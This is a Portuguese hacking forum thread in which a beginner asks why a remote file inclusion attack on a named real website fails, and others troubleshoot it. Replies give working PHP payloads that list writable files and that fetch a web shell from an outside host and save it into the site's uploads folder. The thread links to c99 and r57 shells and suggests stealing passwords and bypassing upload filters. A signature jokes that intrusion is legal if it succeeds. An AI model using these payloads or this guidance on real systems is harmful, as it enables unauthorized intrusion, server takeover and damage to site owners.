Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Dúvida com PHP Injection

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Dúvida com PHP Injection

    Fala galera,,

    começei a estudar PHP Injection esses dias, e de cara me deparei com uma dúvida...

    Eu achei um site vulnerável, mas quando eu coloco a shell, ele me dá um erro...

    Shell's: ctnova.com/index.php?loc=http://www.c99shell.4sql.net/shell/c99shell.php&cmd=ls

    ou

    ctnova.com/index.php?loc=http://www.sh3ll.org/r57.txt?

    Obs: eu já tentei também assim: ctnova.com/index.php?loc=http://www.c99shell.4sql.net/shell/script.txt&cmd=dir

    O site me retorna isso:

    Warning: main(Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in D:\webs\ctnova.com\html\index.php on line 225

    Warning: main(): Failed opening 'http://www.c99shell.4sql.net/shell/script.txt.php' for inclusion (include_path='.;c:\php4\pear') in D:\webs\ctnova.com\html\index.php on line 225

    Alguém pode me ajudar???

    Desde já obrigado...
    Seja livre! Use Linux...

  • Font Size
    #2
    Houveram 2 erros:
    1. O script já adiciona a extensão .php ao final do arquivo. Neste caso, você deve omitir a extensão na injeção.
    2. O script remoto a injetar está sendo executado do lado do servidor. Você pode alterar sua extensão para html, txt ou fazer com que o Apache não execute scripts PHP naquele diretório, com .htaccess.

    O que fiz?
    Utilizei meu servidor local. Note que é obrigatório que a extensão seja PHP.
    Adicionei no htaccess:
    AddHandler text/html .php
    AddType text/html .php

    Porém, como é provável que muitos servidores não aceitem isso, criei dois arquivos:
    comando.php
    abre.php

    Coloquei em meu servidor (/var/www ou D:\wamp\www ou qualquer outra coisa) e injeto assim:
    Código:
    http://ctnova.com/index.php?loc=http://MEU.IP.AQ.UI/abre
    (Note que não foi indicada a extensão de "abre", já que o script adiciona automaticamente).
    A partir daí, editei o arquivo comando.php. Tudo o que eu escrever nesse arquivo (codigo Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...), ele executará.

    abre.php:
    Código PHP:
    <?php
    echo file_get_contents("comando.php");
    Alguns exemplos de comando.php:
    Listando arquivos do diretório atual:
    Código PHP:
    <?php
    $dir 
    getcwd();
    $files glob($dir."\*");
    foreach(
    $files as $file) {
      if(
    is_writable($file)) {
        echo 
    "ESCRITA! -> ";
      }
      if(
    is_dir($file)) {
        echo 
    "(pasta) ";
      }
      echo 
    basename($file).'<br>';
    }
    Baixando shell e tentando salvar:
    Código PHP:
    <?php
    $shell 
    file_get_contents("http://endereco-da-shell-em-txt");
    $h fopen("uploads/washere.php""w");
    fwrite($h$shell);
    fclose($h);
    echo 
    "Missão cumprida.";
    Para injetar uma shell, basta colocar isso em abre.php:
    Código PHP:
    <?php
    echo file_get_contents("alguma_shell.php");
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

    Comment


    • Font Size
      #3
      Amigo, quase nã entendi, poderia explicar de um novo jeito???

      Sou iniciante em PHP Injection, porém não entendo quase nada...
      Seja livre! Use Linux...

      Comment


      • Font Size
        #4
        Cara,

        Poderia me explicar melhor??

        Sou Iniciante no assunto...
        Seja livre! Use Linux...

        Comment


        • Font Size
          #5
          Amigo, recomendo que, se ainda não o fez, aprenda um mínimo de PHP.
          Vou tentar simplificar a lógica:
          O arquivo a ser incluído é especificado na query string "loc" (?loc=).
          Porém, não é definida uma extensão para o arquivo, pois o desenvolvedor configurou o include para adicionar as extensões:
          Código PHP:
          include($_GET['loc'].".php"); 
          Então, você não pode definir a extensão do arquivo, mas obrigatoriamente, ela deverá ser PHP.
          E há outro problema: seu código PHP não pode ser executado no servidor prévio. Alguns servidores não permitem que você especifique outro mime type para extensões, deixando a valer as extensões e types pré-definidas do sistema (.htm para text/html, .php pra x-httpd-php, etc). Apesar disso, você precisa entregar o código de um arquivo .php, não interpretado.
          Então, você cria outro arquivo PHP e, usando a função Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., obtém o conteúdo do arquivo e dá um echo.
          Assim, é mostrado um código não interpretado.
          Como eu disse, é bom saber PHP (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...), e ter um webserver (podendo ser local, acessado pelo seu endereço IP), tal qual Apache (no Windows, você pode baixar o WampServer).
          Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



          Notify-list · Twitter · Blog

          Nova lei: Invadir computadores protegidos é crime.
          Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

          Comment


          • Font Size
            #6
            Faz o que o 0KaL disse ou então tenta explorar o servidor vc próprio, pegue as senhas loga no painel e upa uma "shell" de sua preferência, caso não aceite extensão .php vc baixa o tamper data para burlar o filtro e renomeia .php que vai rolar provavelmente.

            Comment


            • Font Size
              #7
              Olá amigo,

              Já entendia até bem php, mas faz tempo que não dou uma lida...

              Mas agora ficou mais fácil... Muito obrigado !!!
              Seja livre! Use Linux...

              Comment

              X
              Working...
              X